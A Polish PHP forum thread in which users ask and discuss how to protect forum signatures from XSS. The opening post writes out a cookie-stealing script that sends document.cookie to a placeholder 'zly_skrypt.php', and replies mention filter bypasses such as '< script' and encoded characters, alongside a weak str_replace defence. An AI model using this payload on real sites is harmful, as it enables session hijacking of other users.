Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Jak zabezpieczyć np. podpis na forum, przed atakami XSS
TomASS
post
Post #1





Grupa: Zarejestrowani
Postów: 1 660
Pomógł: 13
Dołączył: 9.06.2004
Skąd: Wrocław i okolice

Ostrzeżenie: (0%)
-----


Tak sobie myślę, że w większości for jest podpis użytkownika. Niektóre fora nie filtrują podpisów (np. mogę dać w podpisie obrazek itp.) a jakby tak dać:

  1. <script type="text/javascript">
  2. var adr = 'zly_skrypt.php?ciasteczka=' + escape(document.cookie);
  3. var obr = '<IMG src="' + adr + '">';
  4. document.write(obr);


To się chyba nazywa atak XSS.

Jak się przed tym zabezpieczyć, aby np. akceptował obrazki, odnośniki itp. a nie akceptował "złych skryptów"?
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
marcini82
post
Post #2





Grupa: Zarejestrowani
Postów: 190
Pomógł: 1
Dołączył: 20.05.2005
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'
Go to the top of the page
+Quote Post
LonelyKnight
post
Post #3





Grupa: Zarejestrowani
Postów: 240
Pomógł: 13
Dołączył: 1.06.2007
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Cytat(marcini82 @ 15.02.2006, 17:23:48 ) *
Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'


A co jeśli zamiast '<script' będzie '< script'? (IMG:http://forum.php.pl/style_emoticons/default/Rkingsmiley.png) ...bo coś mi się wydaje, że przeglądarka to łyknie a str_replace() nie bardzo (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif)

Cytat
Czy jak użyje htmlspecialchars($roz) to uchroni mnie to na 100% przed atakiem wpisania w zmienna złośliwego kodu??


htmlspecialchars() wyświetla znaki specjalne a nie ich interpretację. Po co wyświetlać np.

  1. <a href="jestemzly.php">zuuuło</a>


Jak takie coś Ci odpowiada to okej ale lepiej użyć strip_tags(), które usunie znaczniki php i html.

Rozwiązanie zaproponowane przez Ociu wydaję się najlepsze jednak proponowałbym jeszcze zwrócić uwagę na obecność "%" w przesyłanych danych. Czasami może zdarzyć się, że zapisując niektóre znaki w ASCII czy UNICODE uda się ominąć niektóre zabezpieczenia (IMG:http://forum.php.pl/style_emoticons/default/guitar.gif)
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 11.10.2025 - 03:28